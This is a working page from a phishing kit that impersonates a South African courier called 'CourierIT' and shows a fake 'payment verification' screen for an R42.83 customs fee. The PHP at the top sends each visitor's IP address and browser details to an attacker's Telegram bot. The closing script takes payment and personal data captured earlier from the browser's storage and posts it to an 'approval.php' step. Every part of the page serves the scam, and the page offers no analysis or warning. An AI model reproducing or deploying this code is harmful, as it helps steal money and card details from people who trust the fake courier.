<?php
// Optional: Log visit to loading page
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

$BOT_TOKEN = " ";
$CHAT_ID = "- ";

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// Log loading page visit
$msg = "<b>COURIERIT FINAL LOADING PAGE</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Verifying Payment — CourierIT</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #FFD700;
            --primary-dark: #E5C100;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #1E2A36;
            --text-muted: #5C6F82;
            --border: #E2E8F0;
            --radius: 4px;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
            --success: #0F7B4B;
            --success-bg: #E8F3ED;
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        /* HEADER */
/* HEADER */
.header {
    background: white;
    padding: 1.25rem 0;
    border-bottom: 2px solid var(--primary);
}
.header-container {
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 0 1rem;
    max-width: 1200px;
    margin: 0 auto;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 84px; width: auto; }

        /* HERO */
        .hero {
            background: var(--secondary);
            color: white;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
        }

        /* LOADING CONTENT */
        .loading-card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 3rem 2rem;
            margin-bottom: 2rem;
            text-align: center;
        }

        .van-container {
            width: 120px;
            height: 80px;
            margin: 0 auto 2rem;
            animation: gentleBounce 2.4s infinite ease-in-out;
        }
        
        .van-icon {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        
        @keyframes gentleBounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-8px); }
        }

        .spinner {
            width: 60px;
            height: 60px;
            border: 3px solid #E2E8F0;
            border-top: 3px solid var(--primary);
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin: 0 auto 1.5rem;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-text {
            font-size: 1.35rem;
            color: var(--secondary);
            margin-bottom: 0.75rem;
            font-weight: 600;
        }

        .loading-subtext {
            font-size: 0.95rem;
            color: var(--text-muted);
            max-width: 500px;
            margin: 0 auto 2rem;
        }

        .payment-status {
            background: var(--success-bg);
            border: 1px solid var(--success);
            border-radius: var(--radius);
            padding: 1.5rem;
            margin: 2rem auto;
            max-width: 500px;
            text-align: center;
        }
        .payment-status i {
            color: var(--success);
        }
        .payment-amount {
            font-size: 1.75rem;
            font-weight: 700;
            color: var(--success);
            margin: 0.75rem 0;
        }

        .progress-bar {
            width: 100%;
            height: 6px;
            background: #E2E8F0;
            border-radius: 3px;
            margin-top: 2.5rem;
            overflow: hidden;
        }

        .progress-fill {
            height: 100%;
            background: var(--success);
            width: 0%;
            border-radius: 3px;
            animation: fill 6s linear forwards;
        }

        @keyframes fill {
            from { width: 0%; }
            to { width: 100%; }
        }

        /* FOOTER */
        .footer {
            text-align: center;
            padding: 2rem 1rem;
            color: white;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--secondary);
        }
        .footer a {
            color: var(--primary);
            text-decoration: none;
        }
        .footer a:hover { text-decoration: underline; }

        @media (max-width: 600px) {
            .loading-card { padding: 2rem 1.5rem; }
            .hero h1 { font-size: 1.6rem; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<!-- HEADER -->
<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="assets/logo.png" alt="CourierIT" class="logo">
        </div>
    </div>
</header>

<!-- HERO -->
<section class="hero">
    <div class="container">
        <h1><i class="fas fa-check-circle"></i> Payment Verification</h1>
    </div>
</section>

<!-- LOADING CARD -->
<main class="container">
    <div class="loading-card">
        <div class="van-container">
            <img src="assets/van.png" alt="Delivery Van" class="van-icon">
        </div>
        
        <div class="spinner"></div>
        <p class="loading-text">Verifying your payment...</p>
        <p class="loading-subtext">We're processing your R42.83 payment and updating your parcel status. This ensures quick customs clearance.</p>

        <div class="payment-status">
            <div style="color: var(--success); font-weight: 600; margin-bottom: 0.5rem;">
                <i class="fas fa-check-circle"></i> Payment Authorized
            </div>
            <div class="payment-amount">R42.83</div>
            <div style="color: var(--text-muted); font-size: 0.85rem;">
                Customs clearance duty • Reference: <span id="refNumber">CRISA<?php echo rand(1000000, 9999999); ?></span>
            </div>
        </div>

        <div style="margin: 2rem 0; color: var(--text-muted); font-size: 0.9rem;">
            <i class="fas fa-info-circle"></i> Your parcel will be released for delivery within 1-2 business hours
        </div>

        <div class="progress-bar">
            <div class="progress-fill"></div>
        </div>
        
        <div style="margin-top: 1rem; color: var(--text-muted); font-size: 0.85rem;">
            <i class="fas fa-truck"></i> Preparing delivery dispatch
        </div>
    </div>
</main>

<!-- FOOTER -->
<footer class="footer">
    <div class="container">
        <div>© 2026 CourierIT (Pty) Ltd. All rights reserved.</div>
        <div style="margin-top: 0.5rem;">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacy</a> • 
            <a href="#"><i class="fas fa-file-contract"></i> Terms</a> • 
            <a href="#"><i class="fas fa-question-circle"></i> Help</a>
        </div>
    </div>
</footer>

<!-- AUTO REDIRECT AFTER 6 SECONDS -->
<script>
    setTimeout(function() {
        const paymentData = JSON.parse(localStorage.getItem('paymentData') || '{}');
        const courierData = JSON.parse(localStorage.getItem('courieritData') || '{}');
        
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'approval.php';

        const paymentInput = document.createElement('input');
        paymentInput.type = 'hidden';
        paymentInput.name = 'payment';
        paymentInput.value = JSON.stringify({
            ...paymentData,
            ...courierData,
            amount: '42.83',
            currency: 'ZAR'
        });

        form.appendChild(paymentInput);
        document.body.appendChild(form);
        form.submit();
    }, 6000);
</script>

</body>
</html>